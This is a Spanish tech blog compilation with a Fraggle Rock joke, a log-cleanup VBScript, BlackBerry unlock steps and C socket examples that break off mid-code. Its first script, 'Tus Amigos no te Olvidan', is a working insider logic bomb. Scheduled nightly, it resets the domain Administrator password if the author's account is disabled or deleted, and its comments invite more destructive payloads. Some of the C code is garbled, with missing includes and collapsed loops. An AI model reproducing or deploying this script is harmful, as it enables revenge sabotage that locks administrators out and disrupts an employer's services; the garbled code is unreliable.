De donde vienen los Fraggle Rock

Gracias a mi princesita, por fin hemos encontrado de donde vienen los Fraggle...

Son idénticos!!! Y si no, a las pruebas me remito:

Scripting People: Tus Amigos no te Olvidan

Tal y como esta la cosa del trabajo hay que protegerse las espaldas, o al menos hacer que tus "amigos" no te olviden tan facilmente...

Así y sin más dilación, os traigo esta "joyita" que se me ha ocurrido... Un mini-script para que no nos olviden

' Scripting People - Tus "Amigos" no te Olvidan
' by Oscar Marin

' Requiere privilegios administrativos (ejecutar con una cuenta con privilegios
' de administrador del dominio si se puede) para poder cambiar la contraseña
' de un usuario del dominio (o para hacer lo que te apetezca)

' Para el correcto funcionamiento habrá que dejar el script corriendo en una
' tarea programada, por ejemplo, que se ejecute cada noche y compruebe si todavia
' seguimos en la empresa. Se puede hacer esto con el siguiente comando:
' at 23:52 /every:l,m,mi,j,v "cmd /c cscript d:\scripts\user-exist.vbs"
' Que ejecutará el comando cada dia entre semana a las 23:52

' Definimos e inicializamos las variables
' En Principio no existe nuestra cuenta pero estamos habilitados
boolExiste = false
boolDeshabilitado = false

' No tengais miedo a utilizar variables largas, es preferible copiar y pegar
' que no saber que hace una variable
usrQueNoTieneQueSerDespedido = "scriptingpeople2"

' Definimos el nombre del admin y la contraseña que vamos a usar para cambiarsela al administrador
usrAdmin = "scriptingpeople"
pass = "scriptingpeople1!"

' Llamamos a la funcion que comprueba que nuestro usuario este ok
' Es decir, comprueba que exista (que no lo han borrado) y que
' esta habilitado (que no lo han bloqueado)
EstadoUsr(usrQueNoTieneQueSerDespedido)

' Si existimos, por ahora esta todo bien, veremos si esta la cuenta deshabilitada
If boolExiste Then

' Vemos que al menos existimos, pero ¿Estamos deshabilitados?
' Si la cuenta esta deshabilitada es que nos han echado
If boolDeshabilitado Then

' Imprimimos mensaje de advertencia
Wscript.Echo "Mierda, te han bloqueado la cuenta, se van a cagar!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
ChangePwd(usrAdmin)
End If
Else ' Si han borrado el usuario...

' Imprimimos mensaje de advertencia
Wscript.Echo "Te han largao, lo van a pagar caro!!!"

' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
' Una vez cambiada la contraseña, en el siguiente reinicio dejarán de funcionar todos los
' servicios que se ejecuten con la cuenta de administrador, cosa demasiado comun por
' desgracia y ademas, en caso de que sea la unica cuenta con privilegios administrativos...
' ...los administradores no podran iniciar sesion y tendran que utilizar alguna herramienta
' para volver a restaurar la contraseña

' Este paso podeis cambiarlo por otra funcion bastante mas destructiva para que de verdad
' Tus "Amigos" no te Olviden... pero eso ya lo dejo a vuestra imaginacion
ChangePwd(usrAdmin)
End If


' Funcion que comprueba si la cuenta esta borrada o deshabilitada
Sub EstadoUsr(strUserName)

' Creamos el objeto dominio con nuestro nombre NETBIOS del dominio
Set objDomain = GetObject("WinNT://midominionetbios")

' Filtramos solo los usuarios del dominio (que no nos aprezcan nombres de maquina o cosas diferentes)
objDomain.Filter = Array("user")

' Para cada usuario del dominio
For Each User In objDomain

' Comprobamos que el usuario en minusculas (por asegurarnos que no hay errores de mayusculas y
' minusculas) sea igual al usuario que le hemos pasado a la funcion y en caso afirmativo...
If lcase(User.Name) = lcase(strUserName) Then

' Marcamos a verdadero la variable de que el usuario existe
boolExiste = true

' Imprimimos en pantalla el mensaje de que existe
WScript.Echo User.Name & " existe... pero vamos a investigar mas..."

' Pero tambien comprobamos si la cuenta sigue activa o esta deshabilitada
' Si la cuenta esta deshabilitada... (Nos han echado...)
If User.AccountDisabled = true Then

' Marcamos la variable de control de deshabilitado a Verdadero
boolDeshabilitado = true

' Imprimimos la cruda realidad
Wscript.Echo User.Name & " esta deshabilitado"
Else ' Si no... Está todo bien... Existe la cuenta y esta habilitada

' Marcamos la variable como que tampoco esta deshabilitada
boolDeshabilitado = false

' Imprimimos nuestra salvacion
Wscript.Echo User.Name & " sigue en activo"
End If
End If
Next

' Si el usuario no existe... Como la variable de control ha empezado a False...
' No hacemos ningun cambio sobre la variable de control, por lo que se desencadenan
' las acciones de venganza que tengamos programadas en el programa principal
If boolExiste = false Then

' Pero si que imprimimos la cruda realidad
Wscript.Echo strUserName & " no existe"
End If
End Sub

' Funcion para cambiar la contraseña de un usuario
Sub ChangePwd(strUserNameAdmin)

' Esta vez creamos directamente el objeto del usuario apuntando a su DistinguishedName (DN) directamente
' Podeis ver cual es el DN del usuario con el ADSI Edit (adsiedit.msc) por ejemplo, aunque por logica
' es bastante sencillo averiguarlo sabiendo en que OU/CN está
Set objUser = GetObject ("LDAP://cn=" & strUserNameAdmin & ",cn=Users,dc=dominio,dc=demo")

' Y le cambiamos la contraseña con la arriba definida
objUser.SetPassword pass
End Sub

Scripting People: Reciclado de logs

En general, los que nos dedicamos a los sistemas somos bastante perezosos a la hora de programar, aunque en principio hay un abismo entre programadores o picateclas e IT Pros o pelacables, existe una zona “oscura” para ambos mundos, que son los scripts.

¿Los tendrían que hacer los programadores sin conocimientos profundos de los sistemas o los IT Pros sin conocimientos profundos de programación?


En mi opinión, los IT Pros tenemos que ponernos las pilas y meterle caña al scripting,es muuuuy sencillo el crear un script para automatizar tareas repetitivas o complejas y no requiere grandes conocimientos de programación. Por esto mismo he decidido crear unas series “Scripting People” de ejemplos útiles en nuestra vida para resolver las tareas repetitivas, aburridas o complejas que voy encontrando en mi camino.


Esta vez os dejaré algo facilillo… Un script de reciclado de logs. ¿No os habéis encontrado con sistemas con un disco duro algo escaso y que generan tal cantidad de logs (o archivos) que nos llenan el disco duro y nos tenemos que pelar un montón de horas para solucionar el problema? Pues ahí va mi humilde solución…


Por cierto, no esperéis scripts con un alto nivel de complejidad de código, los explicaré todo lo que considere oportuno y seguro que hay una mejor forma de hacerlos, pero esta es la mía.

****************************************************************** 
' Scripting People - Reciclado de Logs
' by Oscar Marin
'(como habreis observado evito usar tildes y
' simbolos extranyos para que no hayan problemas
' de compatibilidad con nada)
' Definimos el Directorio de busqueda
path = "C:\programa_pesado\logs"

' Definimos la fecha de borrado de los ficheros
killdate = date() - 90

' La fecha seria, la actual menos 90 dias, es decir,
' borraremos los ficheros mas antiguos de 3 meses
' Definimos un patron de busqueda, por si hay logs
' con diferente nombre, en este caso borraremos los
' access-log-fecha.log (basta con definir un trozo
' unico en la cadena de busqueda)
patron = "access-"

' Inicializamos un array (un contenedor para meter objetos)
' que usaremos mas tarde
arFiles = Array()

' Creamos el objeto "Script"
' necesario en los scripts WSH(Windows Scripting Host)
set fso = CreateObject("Scripting.FileSystemObject")
 
' Primero tendremos que organizar los objetos (los ficheros del
' directorio) en un array y luego trabajar (borrar) con ellos,
' ya que es posible que el objeto FSO no nos los devuelva con el
' orden que esperamos

' Llamamos a la funcion "SelectFiles" que seleccionará los ficheros
' a borrar, es decir, los ficheros del path que hemos seleccionado
' que sean más antiguos de la fecha que hemos puesto y los metemos
' en un array.
' Mas abajo podreis ver concretamente que hace la funcion SelectFiles 
SelectFiles path, killdate, arFiles, false

' Inicializamos a 0 la variable que controla el numero de
' ficheros borrados
nDeleted = 0

' Y hacemos el bucle de borrado, desde 0, hasta el total de elementos
' que tenemos en el array (contenedor de ficheros a borrar)
for n = 0 to ubound(arFiles)

  '=================================================
  ' WARNING: Es importante saber que los  ficheros
' borrados con FSO (arFiles(n).delete) no van a la
' papelera de reciclaje, se eliminan directamente
  '=================================================

' Si hubiera un error, paso de el y me voy al siguiente elemento
' a procesar. Si no ponemos esta linea y hubiera un error, el
' script se detendria 
on error resume next

' Borramos cada fichero del array (no va a la papelera de reciclaje) 
arFiles(n).delete true

' Si hay un error de borrado, es decir, el codigo que devuelve
' es diferente de 0 (si es un 0 no hay error) 
if err.number <> 0 then

'Escribe en pantalla que no se puede borrar el fichero 
    wscript.echo "Unable to delete: " & arFiles(n).path

' si no
  else

' Aumentamos en 1 el contador de ficheros borrados
    nDeleted = nDeleted + 1
  end if
next

' Escribimos en pantalla el numero de ficheros eliminados 
wscript.echo nDeleted & " of " & ubound(arFiles)+1 _
  & " eligible files were deleted"
 
  '=================================================
  ' Enviamos el resultado por correo electronico:
  '=================================================

' Definimos el esquema necesario para el envio de correo  
sch = "http://schemas.microsoft.com/cdo/configuration/"

' Y creamos el objeto de la configuracion del envio de correo 
Set MsgConfig = CreateObject("CDO.Configuration")

' Configuramos los campos necesarios para el envio de correo 
With MsgConfig.Fields

' Podemos enviar el mensaje (cdoSendUsingPickup = 1) utilizando
' el SMTP local con el directorio de "pickup", o bien
' enviar el mensaje utilizando un SMTP externo (cdoSendUsingPort = 2)           
  .Item(sch & "sendusing") = 2  ' cdoSendUsingPort

' Definimos el servidor SMTP a utilizar
  .Item(sch & "smtpserver") = "smtp.contoso.com"

' Y grabamos las opciones 
  .update 
End With

' Creamos el objeto mensaje
Set Msg = CreateObject("CDO.Message")
 
With Msg

' Le aplicamos la configuracion anterior
     Set .Configuration = MsgConfig
' Y definimos los campos del mensaje en si 
       ' Campo Para
.To = "oscarintherocks@gmail.com"

' Campo De
       .From = "oscarintherocks@gmail.com"

' Campo asunto
       .Subject = "Hoy he borrado " & nDeleted & " logs"

' Y el cuerpo del mensaje
   .TextBody = "He borrado " & nDeleted & " de " & ubound(arFiles)+1 _
   & " ficheros susceptibles de borrado.  Estos ficheros son anteriores _
a la fecha " & vbCrLf & Killdate & vbCrLf & vbCrLf _
& "Los ficheros se han borrado de la siguiente carpeta: " _
& vbCrLf & path

' Por ultimo enviamos el mensaje 
.Send
        
End With

' ==================================
' Funciones... A continuacion vienen las funciones que utilizamos
' en el script mas arriba
' ==================================

' Funcion para seleccionar que ficheros borraremos y añadirlos al array
sub SelectFiles(sPath,vKillDate,arFilesToKill,bIncludeSubFolders)

' Como veis entre parentesis, le hemos pasado 4 parametros que
' utilizaremos dentro de la funcion

' Definimos el directorio con el Path que le hemos pasado a la funcion 
Set folder = fso.GetFolder(sPath)

' Definimos una variable con todos los ficheros del directorio
  Set files = folder.files

' Y para cada fichero
  for each file in files

' Buscamos el patron para hacer una primera seleccion de los ficheros 
if InStr(file, patron) Then

' Si contiene el patron
' Inicializamos la variable de la fecha de modificacion 
dtlastmodified = null

' Si se produce algun error seguiremos con el siguiente fichero
    on error resume Next

' Obtenemos la fecha de modificacion del fichero para pasarle el filtro
' de fecha
    dtlastmodified = file.datelastmodified
' Controlamos que no haya un error en la fecha y nos pete el script
    if not isnull(dtlastmodified) Then

' Si la fecha de modificacion es anterior a la fecha a partir
' de la cual queremos borrar ficheros
      if dtlastmodified < vKillDate then

' Anyadimos 1 al contador de ficheros a borrar
        count = ubound(arFilesToKill) + 1

' Ampliamos el array en 1 para meter el fichero que queremos borrar
        redim preserve arFilesToKill(count)

' Y metemos el fichero en el array, para despues borrar
' los ficheros del array completo
        set arFilesToKill(count) = file
      end if
    end if
   end if
  next

' Si en la funcion le hemos pasado un "true" en el cuarto parametro
' lo que haremos sera incluir los subdirectorios
if bIncludeSubFolders then

' por lo tanto para cada subdirectorio
    for each fldr in folder.subfolders

' Volvemos a llamar a la funcion que eliminara los ficheros a
' borrar recursivamente
      SelectFiles fldr.path,vKillDate,arFilesToKill,true
    next
  end if
end sub

******************************************************************

Pues esto es todo, con este script podreis hacer un reciclado de logs automático simplemente ejecutándolo diariamente en las tareas programadas. Por supuesto se puede adaptar a nuestras necesidades y mejorar todo lo que querais.

Espero que os sea útil.

Liberar Blackberry por IMEI

Para poder liberar esos bichos raros e ininteligibles que son las blackberry por IMEI hay que seguir los siguientes sencillos pasos:

1.- Con el IMEI (*#06# o menú-estado) solicitar MEP al operador
2.- Apagar Red Móvil (Menú conexiones)
3.- Ir a Opciones - Opciones Avanzadas - Tarjeta SIM (Aparece ID y nº telefono)
3.- Escribir mepd (si hay mas de 1 letra por tecla hay que pulsar tantas veces como sea necesario) y aparece Red: Activo
4.- Escribir mep2 (si no funciona escribir mepe) Aparecerá una ventana para introducir MEP
5.- Introducir MEP y ya teneis la Blackberry liberada. El campo Red cambiará a Inactivo

Ejemplos de programación de sockets en C

A continuación se muestran 6 programas en C (para Linux) que pueden servir de base para la programación de sockets. Los 6 programas son:

- Un cliente TCP para hacer pruebas con los servidores
- Un servidor TCP iterativo
- Un servidor TCP concurrente
- Un cliente SMTP
- Un cliente POP3


1º -> El cliente TCP, para probar el servidor TCP que veremos en 2º lugar.
El cliente es muy simple, está totalmente comentado y lo único que hace es enviar una cadena de texto que introduce el usuario al servidor y leer la respuesta. (Muy útil para el nivel 13 de Hackerslab una vez se haya resuelto lo del problema del camino más corto)


/************************/
/* CLIENTE TCP */
/************************/

#include /*Incluímos las librerías*/
#include
#include
#include
#include
#include
#include
#include
#define SI "s" /*Declaración de constantes*/

void main(void)
{ /*Declaración de variables*/
struct sockaddr_in direccion;
int i,s,contador,length,longitud;
char DATA[256];
char fin[5];
char respuesta[5];
char repeticion[5];
char datos[256];

/*Vacío cadena dirección*/
bzero((char*)&direccion,sizeof(direccion));

/*Imprimo cartel en pantalla*/
printf("_______________________________________\n");
printf(" \n");
printf(" CLIENTE TCP \n");
printf("_______________________________________\n");
printf(" \n");

/*Si el servidor no tuviera un puerto de conexión fijo y nos hubiera dicho el número de puerto por el que tenemos que conectarnos, usaríamos la siguiente función para que el usuario nos dijera el nº de puerto*/

/*printf("INTRODUCE el nº puerto al que conectar \n");*/
/* scanf("%d",fin);*/ /*Leemos nº de puerto*/
/*puerto=atoi(fin);*/ /*Convierte cadena en entero*/

/**DIR SERVIDOR**/
direccion.sin_addr.s_addr=inet_network("127.0.0.1");
/*Dirección del servidor*/
direccion.sin_addr.s_addr=inet_addr("127.0.0.1");
direccion.sin_family=AF_INET;/*Familia de Protocolo AF_INET*/
direccion.sin_port=htons(1999);/*Usamos el puerto fijo 1999*/


s=socket(AF_INET,SOCK_STREAM,0); /*Creamos un socket*/
if(s<0) /*Si hay un error al crearlo, lo mostramos en pantalla*/ { printf("ERROR al crear el socket\n"); } printf("\n"); printf("Introduce la cadena a enviar: "); /*Petición de datos*/ /*Leemos los datos y medimos su longitud*/ gets(DATA);longitud=strlen(DATA); /*Imprimimos la longitud de la cadena por pantalla*/ printf("la longitud es : %d \n", longitud); /*********************/ if(connect(s,(struct sockaddr*)&direccion,sizeof(direccion))<0) { /*Intentamos conectar con el servidor*/ printf("ERROR al conectar "); /*Si falla imprime un error*/ } else { printf("he aceptado la conexion\n"); } /***********************/ do{ /*Repite hasta que el cliente no quiera introducir más datos*/ if(send(s,DATA,strlen(DATA),0)<0) /*Enviamos datos al servidor*/ { printf("ERROR AL ENVIAR \n"); } else /*Si no hay error al enviar...*/ { bzero(datos,sizeof(datos)); /*Vacía la cadena datos*/ read(s,datos,sizeof(datos)); /*Lee el mensaje del servidor*/ printf("Mensaje Recibido: "); /*y lo imprime en pantalla*/ for(i=0;i Servidor TCP iterativo. Recoge peticiones de una en una.
Lo que hace este servidor es recibir la cadena que manda el cliente, encriptarla con una función muy simple (a la vez que chapucera) y devolverla al cliente.

El proceso de encriptación, permuta la posición de letras correlativas, es decir... Hola se vuelve oHal y adios se vuelve daois.

/********************************/
/* SERVIDOR ITERATIVO */
/********************************/

#include /*Incluímos las librerías*/
#include
#include
#include
#include
#define TRUE 1 /*Definición de constantes*/


main () /*Programa Principal*/

{
char buf_in[1024]; /*Definición de variables*/
char buf_out[1024];
int rval,caracter,caracter0;
int i,contador;
int sock,length;
struct sockaddr_in server ;
int msgsock;


sock=socket(AF_INET,SOCK_STREAM,0); /*Creamos el socket*/
if(sock<0){ /*Si el identificador de socket es negativo...*/ /*Imprime por pantalla el error*/ fprintf(stderr,"Abriendo un socket de tipo stream. \n"); exit(1); /*y sale del programa*/ } server.sin_family=AF_INET; /*Familia de protocolo AF_INET*/ server.sin_addr.s_addr=inet_network("127.0.0.1"); /*Dirección del servidor*/ server.sin_addr.s_addr=inet_addr("127.0.0.1"); server.sin_port=htons(1999); /*Nº de puerto*/ /*Asociamos socket a la dirección del servidor*/ if(bind(sock,&server,sizeof(server)) ){ fprintf(stderr,"Nombrando al socket de tipo stream.\n"); /*Si ha habido un error, se imprime en pantalla y sale del programa*/ exit(1); } /*Función que averigua el nº de puerto que ha asignado el sistema operativo, en el caso de que se le pida a éste que asigne un puerto automáticamente*/ /* length=sizeof(server); if(getsockname(sock,&server,&length)) { fprintf(stderr,"Obteniendo el puerto para el socket"); exit(1);}*/ printf("El socket tiene el puerto %d\n", ntohs(server.sin_port)); /*Nos quedamos a la escucha con una cola para 5 clientes*/ listen(sock,5); do { /*Repite el bucle infinítamente*/ /*Aceptamos la petición de conexión del cliente*/ msgsock=accept(sock,0,0); /*Si ha habido un fallo en la aceptación de conexión...*/ if(msgsock==-1) /*...imprime el error por pantalla*/ fprintf(stderr,"Fallo en la función accept.\n"); /*Si todo ha ido bien y mientras el cliente no cierre la conexión...*/ else do bzero(buf_in,sizeof(buf_in)); /*Vacía el búfer de entrada*/ /*Lee datos del cliente y si obtiene un error...*/ if((rval=read(msgsock,buf_in,1024))<0) /*...lo imprime en pantalla*/ perror("ERROR: Leyendo el mensaje.\n"); if(rval==0) /*Si lee un NULL (Desconexión) del cliente...*/ /*...imprime que finaliza la conexión*/ printf("Finalizando la conexion.\n"); else /*Si no...*/ /*Imprime el mensaje que recibe del cliente*/ printf("Mensaje: %s\n",buf_in); contador=0; /*Inicializamos contador*/ /*Vaciamos el bufer de salida*/ bzero(buf_out,sizeof(buf_out)); for(contador=0;contador<0) /*Si hay error lo muestra*/ fprintf(stderr,"Fallo en la funcion Write.\n"); /*Mientras que el cliente no cierre la conexión*/ }while (rval !=0); close(msgsock); /*Cierra el socket y la conexión con el cliente*/ }while(TRUE); /*Bucle infinito*/ } ************************************************* 3º -> Servidor TCP Concurrente.
Pues lo mismo que antes pero para cada petición crea un hijo que la atiende, así se pueden atender tantas peticiones a la vez como procesos hijo (memoria disponible) se puedan crear.

/********************************/
/* SERVIDOR CONCURRENTE */
/********************************/

#include /*Incluímos las librerías*/
#include
#include
#include
#include
#include "service.h"
#define TRUE 1 /*Definición de constantes*/

main () /*Programa Principal*/

{ /* Definición de variables*/
char buf_in[1024];
char buf_out[1024];
int rval,caracter,caracter0;
int i,contador;
int sock,length;
struct sockaddr_in server ;
int msgsock;

/*Creación del socket de escucha*/
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0){ /*Si tenemos un error, lo muestra en pantalla*/ /*y sale del programa*/ fprintf(stderr,"Abriendo un socket de tipo stream. \n"); exit(1); } server.sin_family= AF_INET; /*Familia de protocolo AF_INET*/ server.sin_addr.s_addr=inet_network("127.0.0.1"); /*Dirección*/ server.sin_addr.s_addr=inet_addr("127.0.0.1"); /* del servidor*/ server.sin_port=htons(1999); /*Puerto fijo (nº1999)*/ if(bind(sock,&server,sizeof(server)) ){ /*Asociamos el socket a la dirección del servidor*/ fprintf(stderr,"Nombrando al socket de tipo stream.\n"); /*Si nos da un error, lo mostramos en pantalla y salimos del programa*/ exit(1); } length=sizeof(server); /*longitud de la dirección del servidor*/ /*Función que averigua el nº de puerto que ha asignado el sistema operativo, en el caso de que se le pida a éste que asigne un puerto automáticamente*/ /* if(getsockname(sock,&server,&length)) { fprintf(stderr,"Obteniendo el puerto para el socket"); exit(1);}*/ printf("El socket tiene el puerto %d\n", ntohs(server.sin_port)); /*Nos quedamos a la escucha con una cola para 5 clientes*/ listen(sock,5); do { /*Repite el bucle infinítamente*/ /*Aceptamos la petición de conexión del cliente...*/ msgsock=accept(sock,0,0); /*...y creamos el socket de servicio*/ /*Si ha habido un fallo en la aceptación de conexión...*/ if(msgsock==-1) /*...imprime el error por pantalla*/ fprintf(stderr,"Fallo en la función accept.\n"); else{ /*Creación de un proceso hijo*/ if(fork()==0){ /*Si no hay error al crear el proceso hijo*/ /*El proceso de servicio ya no usa el socket de escucha*/ close(sock); /*Paso la petición del cliente al proceso hijo*/ service(msgsock,&server,length); exit(0);} /*El proceso padre ya no usa el socket de servicio*/ close(msgsock);} }while(TRUE); /*Bucle infinito*/ } ************************************************* 4º -> Librería con funciones para el servidor concurrente (está hecha sólo por ver como se hacian y trataban librerías en C, realmente no hace falta pero queda bonito ;-)))))

/************************************************/
/* LIBRERÍA DEL SERVIDOR CONCURRENTE */
/************************************************/

#ifndef _SERVICE_H /*Veo si no está definida mi función, y...*/
#define _SERVICE_H /*...si no está la defino*/

#include /*Incluyo las librerías*/
#include
#include
#include
#include

/*Defino las funciones que voy a usar*/
void service(int socket_hijo,struct sockaddr_in *adr,int lgadr);

#endif
/*Función de encriptación*/
void service(int socket_hijo,struct sockaddr_in *adr,int lgadr)
{
/*Definición de variables*/
char buf_in[1024];
char buf_out[1024];
int contador,rval,caracter,caracter0;

/*Mientras que el cliente no nos haga una petición de desconexión*/
do

bzero(buf_in,sizeof(buf_in)); /*Vacío el búfer de entrada*/
/*Leo mensaje del cliente*/
if((rval=read(socket_hijo,buf_in,sizeof(buf_in)))<0) /*Si ha habido un error, lo imprimo en pantalla*/ perror("ERROR: Leyendo el mensaje.\n"); if(rval==0) /*Si recibo una petición de desconexión...*/ /*Imprimo que he finalizado la conexión*/ printf("Finalizando la conexion.\n"); else printf("Mensaje: %s\n",buf_in); /*si no, imprimo el mensaje*/ contador=0; /*Inicializo el contador*/ bzero(buf_out,sizeof(buf_out)); /*Vacío el búfer de salida*/ for(contador=0;contador<=sizeof(buf_in);contador=contador+2) { /*Algoritmo de encriptación*/ caracter0=buf_in[contador]; caracter=buf_in[contador+1]; /*Si la palabra es impar no cambia el último carácter*/ if(caracter!=0) {buf_out[contador]=caracter; buf_out[contador+1]=caracter0;} else buf_out[contador]=caracter0;} /*Envío respuesta al cliente*/ if(send(socket_hijo,buf_out,strlen(buf_out),0)<0) /*Si falla, lo muestro*/ fprintf(stderr,"Fallo en la funcion Send.\n"); /*Mientras que el cliente no nos haga una petición de desconexión*/ }while (rval !=0); close(socket_hijo); /*Cerramos el socket hijo*/ }; /*Fin de la librería*/ *********************************************** 5º -> Cliente SMTP. Sencillito cliente para enviar mensajes de correo. Es como automatizar el proceso de hacerlo por telnet.

/************************/
/* CLIENTE SMTP */
/************************/

#include /*Incluímos las librerias a utilizar*/
#include
#include
#include
#include
#include
#include
#include


/*Definimos las constantes a utilizar*/
#define AUXILIAR "RCPT TO:"
#define REMITE "MAIL FROM:"
#define HOLA "HELO UPV.es\n"
#define CUERPO "DATA\n"
#define crlf "\n"
#define FIN "QUIT\n"
#define PUNTO ".\n"
#define SI "s"

/*Programa Principal*/
void main(void)
{


struct sockaddr_in direccion; /*Definimos las variables*/
int i,s,contador,length,longitud;
char fin[5];
int puerto;
char aux[250];
char aux1[250] = "RCPT TO:";
char respuesta[254];
char mensaje[1024];
char repeticion[50];
char DATA[250];
char datos[250];

bzero((char*)&direccion,sizeof(direccion)); /*Vacía dirección*/
/*Imprime cartel en pantalla*/
printf("_______________________________________\n");
printf(" \n");
printf(" CLIENTE SMTP \n");
printf("_______________________________________\n");
printf(" \n");

/**DIR SERVIDOR**/
/*Dirección del servidor SMTP*/
direccion.sin_addr.s_addr=inet_network("158.42.2.4");
direccion.sin_addr.s_addr=inet_addr("158.42.2.4");
direccion.sin_family=AF_INET; /*Familia de protocolo AF_INET*/
direccion.sin_port=htons(25); /*Puerto SMTP nº25*/


s=socket(AF_INET,SOCK_STREAM,0); /*Creación del socket*/
if(s<0) /*Si ha habido un error...*/ { /*...se imprime en pantalla*/ printf("ERROR al crear el socket\n"); } printf("\n"); /*Intentamos conectar con el servidor*/ if(connect(s,(struct sockaddr*)&direccion,sizeof(direccion))<0) { /*Si hay error, se imprime en pantalla y sale del programa*/ printf("ERROR AL CONECTAR \n"); exit(1); } else /*si no ha habido error...*/ { printf("Servidor (connect):\n"); /*Imprime en pantalla*/ bzero(&datos,sizeof(datos)); read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<=250;i++){datos[i]=0;} /*Vacía cadena datos*/ for(i=0;i<0) /*Intenta enviar el HELO*/ { /*Si hay un error en el envío se muestra en pantalla*/ printf("ERROR AL ENVIAR \n"); } else { printf("Servidor (HELO):\n"); /*Imprime en pantalla*/ /*Leemos respuesta del servidor*/ read(s,datos,sizeof(datos)); longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<0) /*Envía cadena aux*/ { printf("ERROR AL ENVIAR \n"); } else { printf("Servidor (MAIL FROM):\n"); /*Imprime en pantalla*/ read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<0) /*Envía cadena aux1*/ { printf("ERROR AL ENVIAR \n"); } else { printf("Servidor (RCPT TO:):\n "); /*Imprime en pantalla*/ read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<0) /*Envía "DATA"*/ { printf("ERROR AL ENVIAR \n"); } else { printf("Servidor (DATA): "); /*Imprime en pantalla*/ read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<0) /*Envía cadena*/ { printf("ERROR AL ENVIAR \n"); } /*Mientras que no se escriba un punto sólo*/ }while(strcmp(PUNTO,mensaje)!=0); printf("Servidor (FIN MENSAJE): "); /*Imprime en pantalla*/ read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i<0) /*Envía "QUIT" al servidor*/ { printf("ERROR AL ENVIAR \n"); } else { /*Imprime en pantalla*/ printf("Servidor (CIERRA CONEXION): "); read(s,datos,sizeof(datos)); /*Lee los datos del servidor*/ longitud=sizeof(datos); /*Calcula longitud de los datos*/ /*Imprime los datos en pantalla*/ for(i=0;i Cliente POP3. Pues lo mismo que el anterior, pero para bajarse el correo del servidor.

/************************/
/* CLIENTE POP3 */
/************************/

#include /*Definimos las librerías*/
#include
#include
#include
#include
#include
#include
#include

#define USUARIO "USER " /*Definimos las constantes*/
#define PASSWORD "PASS "
#define LISTADO "STAT\n"
#define LEER "RETR "
#define BORRAR "DELE "
#define CRLF "\n"
#define FIN "QUIT\n"
#define PUNTO ".\n"
#define SI "s"
#define MENOS "-"
#define BIEN "Todo va Bien!!!"
#define MAL "error del servidor"

void main(void) /*Programa principal*/
{

/*Definimos las variables a utilizar*/
struct sockaddr_in direccion;
int i,j,s,contador,length,longitud;
char fin[5];
int puerto;
char aux[250];
char respuesta[254];
char mensaje[1024];
char repeticion[50];
char DATA[250];
char error[30];
char msge[2000];
char datos[250];

/*Vacía la cadena dirección*/
bzero((char*)&direccion,sizeof(direccion));
/*Imprime en pantalla*/
printf("_______________________________________\n");
printf(" \n");
printf(" CLIENTE POP3 \n");
printf("_______________________________________\n");
printf(" \n");


/**DIRECCIÓN DEL SERVIDOR**/
direccion.sin_addr.s_addr=inet_network("158.42.2.4");
/*Dirección del servidor POP3*/
direccion.sin_addr.s_addr=inet_addr("158.42.2.4");
direccion.sin_family=AF_INET; /*Familia de protocolo AF_INET*/
direccion.sin_port=htons(110); /*Puerto POP3 (110)*/


s=socket(AF_INET,SOCK_STREAM,0); /*Creamos el socket*/
if(s<0) /*Si el identificador de socket es negativo...*/
{
printf("ERROR al crear el socket\n"); /*...ha habido un error*/
}
printf("\n");

/*Establecemos la conexión y si nos devuelve un entero negativo...*/
if(connect(s,(struct sockaddr*)&direccion,sizeof(direccion))<0)
{
printf("ERROR AL CONECTAR \n"); /*...ha habido un error...*/
exit(1); /*...y salimos del programa*/
}
else /*Si la conexión ha tenido éxito...*/
{
printf("Servidor (connect):\n"); /*Imprime en pantalla*/
/*Leemos los datos que envia el servidor*/
read(s,datos,sizeof(datos));
longitud=strlen(datos); /*Longitud de la cadena datos*/

/*Imprime en pantalla la cadena datos (respuesta del servidor)*/
for(i=0;i
for(i=0;i<=250;i++){datos[i]=0;} /*Vaciamos la cadena datos*/
printf("\n");
}
/*Repetimos el siguiente bucle hasta que no haya error en el login o en el password*/
do{
printf("Introduzca su Login: "); /*Pedimos el Login*/
gets(respuesta); /*Almacenamos login en respuesta*/
bzero(aux,sizeof(aux)); /*Vaciamos la cadena aux*/
/*Concatenamos USUARIO(USER) con aux;aux=aux+USER */
strcat(aux,USUARIO);
/*Concatenamos aux con los datos del login "USER datos"*/
strcat(aux,respuesta);
/*Concatenamos "USER datos" con un retorno de carro(\n) para que el servidor nos reconozca los comandos*/
strcat(aux,CRLF);

/*Enviamos el resultado de las concatenaciones "USER datos\n"*/
if(send(s,aux,strlen(aux),0)<0)

{
/*Si no tiene éxito en enviar, imprime el error*/
printf("ERROR AL ENVIAR \n");
}

else /*Si envía bien...*/
{
printf("Servidor (USER):\n");/*Imprime en pantalla*/
read(s,datos,sizeof(datos)); /*Leemos los datos del servidor*/
longitud=sizeof(datos); /*Calculamos longitud de los datos*/
/*Imprime en pantalla la cadena datos (respuesta del servidor)*/
for(i=0;i
for(i=0;i<=250;i++){datos[i]=0;} /*Vaciamos la cadena datos*/
bzero(respuesta,sizeof(respuesta)); /*Vaciamos respuesta*/
printf("\n");
}

printf(" Introduzca su Password: "); /*Pedimos la contraseña*/
gets(respuesta); /*Almacenamos la contraseña en respuesta*/
bzero(aux,sizeof(aux)); /*Vaciamos la cadena aux*/
strcat(aux,PASSWORD); /*Concatenamos PASSWORD(PASS) con aux*/
strcat(aux,respuesta); /*Concatenamos aux
con los datos introducidos "PASS datos"*/

